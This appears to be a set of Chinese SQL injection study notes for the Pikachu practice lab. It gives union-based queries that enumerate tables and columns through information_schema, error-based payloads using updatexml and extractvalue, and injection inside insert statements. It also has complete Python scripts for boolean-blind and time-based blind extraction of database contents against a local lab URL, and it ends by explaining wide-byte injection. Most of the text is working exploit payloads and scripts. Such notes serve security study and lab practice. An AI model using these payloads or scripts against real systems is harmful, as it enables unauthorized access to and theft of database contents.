数字型注入不需要闭合
SQL语句: select * from users where id = $id
select * from users where id = $id order by n
select * from users where id = $id and 1=2 union select 1,2,3
select * from users where id = $id and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()
select * from users where id = $id and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = $table_name
select * from users where id = $id and 1=2 union select 1,group_concat(字段名),3 from $table_name
字符型注入需要闭合且需要注释
SQL语句:
- select * from users where id='$id'
- select * from users where id="$id"
- select * from users where id=('$id')
- select * from users where id=("$id")
select * from users where id = 'xxxx' and 1=1 -- asdf
updatexml(1,2,3):第二个参数可利用
extractvalue(1,2):第二个参数个利用
extractvalue(1,concat('~',(select语句)))
updatexml(1,concat('~',(select语句)),3)
注册 修改信息处
SQL语句: insert into users(id,username,password,level) values(1,'wangyl2','admin','2');
insert into users(id,username,password,level) values(1 and updatexml(1,concat(0x7e,database()),0) ,'wangyl2','admin','2');
insert into users(id,username,password,level) values(1,'wangyl2' or updatexml(1,concat(0x7e,database()),0) or '','admin','2');
根据参数的不同,页面共两个页面(0 或者 1)
select * from users where id = '1' and ascii(substr(database(),1,1))=100 -- af'
脚本:
# 普通脚本 import requests url = "http://192.168.142.1/pikachu/vul/sqli/sqli_blind_b.php?name=" words = "your uid:1 " flag = "" for i in range(50): for j in range(32,129): get_data = "vince' and ascii(substr(database(),{},1))={} -- af&submit=查询#" .format(i, j) re = requests.get(url+get_data) if words in re.text: print("*"*10) flag += chr(j) print(flag) break
# 二分法 import requests url = "http://192.168.142.1/pikachu/vul/sqli/sqli_blind_b.php?name=" words = "your uid:1 " flag = "" for i in range(50): min = 32 max = 129 mid = (min + max) // 2 while min < max: get_data = "vince' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{} -- af&submit=查询#" .format(i, mid) re = requests.get(url+get_data) if words in re.text: min = mid else: max = mid mid = (min + max) // 2 if min == mid: flag += chr(mid+1) print(flag) break
无论怎样的参数,页面都不发生任何变化,都是同一个页面
脚本:
import requests import datetime url = "http://192.168.142.1/pikachu/vul/sqli/sqli_blind_t.php?name=" words = "your uid:1 " flag = "" for i in range(50): min = 32 max = 129 mid = (min + max) // 2 while min < max: get_data = "vince' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(3),0) -- af&submit=查询#" .format(i, mid) time_start = datetime.datetime.now() re = requests.get(url+get_data) time_end = datetime.datetime.now() t = (time_end - time_start).seconds if t >= 3: min = mid else: max = mid mid = (min + max) // 2 if min == mid: flag += chr(mid+1) print(flag) break
宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的\符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。